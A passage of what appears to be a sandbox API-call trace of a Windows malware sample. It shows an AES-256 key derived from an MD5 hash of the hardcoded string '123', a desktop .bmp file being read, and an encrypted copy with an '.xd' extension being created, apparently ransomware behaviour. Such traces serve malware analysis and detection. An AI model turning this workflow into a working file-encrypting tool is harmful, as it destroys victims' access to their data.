wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.814] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0075.814] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0075.814] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.814] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.814] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.814] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.815] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.815] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.815] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0075.815] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.815] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.815] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0075.815] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.815] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.815] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.815] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.815] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.815] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0075.815] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0075.816] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0075.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0075.816] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0075.816] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0075.817] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.817] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.817] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0075.817] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.817] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.817] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.817] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.817] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.817] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.817] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.817] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.817] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.818] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.818] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.818] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.818] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0075.818] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.818] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.818] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.818] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.818] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.818] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.818] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.818] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.818] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.818] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.818] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.818] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.818] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.818] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.818] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.819] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.819] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.819] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.819] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621468, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0075.819] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0075.819] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0075.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.820] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0075.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.820] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.820] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.820] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.820] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0075.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621678, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0075.821] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0075.821] CryptHashData (hHash=0x164c9b0, pbData=0x16293d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0075.821] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.821] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.821] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.821] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.821] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.821] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.821] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.822] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0075.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621828, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0075.822] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0075.837] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c9b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c330) returned 1 [0075.837] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.837] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.837] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.837] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.837] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.837] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.837] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0075.837] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0075.838] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0075.838] CryptDestroyHash (hHash=0x164c9b0) returned 1 [0075.838] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.838] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.838] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.838] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.838] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.838] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kdp2magp1lg.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0075.839] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.839] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0075.839] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.839] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.839] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.839] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0075.840] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kDp2MAGp1lG.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kdp2magp1lg.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0075.841] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.841] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.841] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.841] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.843] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0075.844] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0075.846] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x4911, lpOverlapped=0x0) returned 1 [0075.846] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0075.850] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.851] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.851] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.851] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0075.852] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.852] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.852] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0075.852] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.852] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0075.852] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.852] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.852] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.852] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0075.852] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0075.853] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0075.853] CryptGetKeyParam (in: hKey=0x164c330, dwParam=0x7, pbData=0x1629340, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629340*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0075.853] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.853] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.853] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, 